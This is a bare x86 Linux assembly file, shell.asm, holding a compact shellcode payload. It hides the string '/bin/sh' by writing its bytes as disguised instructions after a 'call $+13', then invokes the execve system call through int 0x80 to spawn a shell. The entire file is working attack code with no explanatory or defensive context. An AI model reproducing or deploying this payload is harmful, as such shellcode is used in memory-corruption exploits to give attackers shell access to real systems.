shell.asm

section .text
    global _start
_start:
    call $+13
    das
    bound ebp,[ecx+0x6e]
    das
    dw 0x6873
    db 0x00
    xor eax, eax
    pop ebx
    push eax
    push ebx
    mov ecx, esp
    mov al, 11
    int 0x80